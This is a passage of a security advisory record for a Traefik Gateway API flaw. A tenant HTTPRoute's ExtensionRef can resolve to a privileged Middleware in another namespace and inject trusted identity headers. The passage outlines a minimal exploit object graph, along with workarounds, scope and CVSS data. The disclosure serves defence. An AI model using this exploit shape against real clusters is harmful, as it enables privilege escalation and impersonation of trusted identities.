conf.Middlewares)\n\toriginalLB := lb\n\tvar err error\n\tlb, err = chain.Then(lb)\n```\n\nThe unauthorized middleware reference is not merely stored. Traefik applies\nservice-level middlewares to the backend load balancer handler during normal\nHTTP service construction.\n\n## Minimal Exploit Shape\n\nThe PoC fixture contains the essential object graph:\n\n```text\ntenant-a/HTTPRoute\n  -\u003e backendRef namespace: platform, name: protected-api\n  -\u003e backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header\n\nplatform/ReferenceGrant\n  -\u003e allows tenant-a HTTPRoute to reference platform/protected-api Service only\n\nplatform/protected-api Service\n\nTraefik resolves the ExtensionRef as:\n  platform/privileged-auth-header\n```\n\nIn a real affected deployment, if `platform/privileged-auth-header` sets a\ntrusted identity header, requests sent through the tenant route can reach the\nbackend with that header injected by Traefik.\n\n## Workarounds\n\n- Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects\n  to shared Gateways that route to sensitive backends.\n- Do not place privileged or identity-bearing Traefik `Middleware` objects in\n  namespaces that can be reached by untrusted cross-namespace `HTTPRoute`\n  backend references.\n- Prefer route-local filters and explicitly audit\n  `HTTPRoute.rules[].backendRefs[].filters[].extensionRef` usage.\n- Strip trusted reverse-proxy identity headers at backend application\n  boundaries unless they originate from a dedicated authentication gateway.\n\n## Scope Boundary\n\nExploitation requires low-privileged route-author capability in a Kubernetes\nGateway API deployment. A remote unauthenticated web client without\n`HTTPRoute` authoring capability cannot create the malicious route. If the\nshared Gateway is internet-facing, the final request that triggers the\nunauthorized middleware can be sent over the public network after the route is\ncreated.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-qq9q-x9w4-chhj",
  "modified": "2026-08-05T21:49:19Z",
  "published": "2026-08-05T21:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-qq9q-x9w4-chhj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/13462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/655d6324ab4a1475892a958d4bae389720a67ea9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-namespace-confusion-via-httproute-extensionref"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…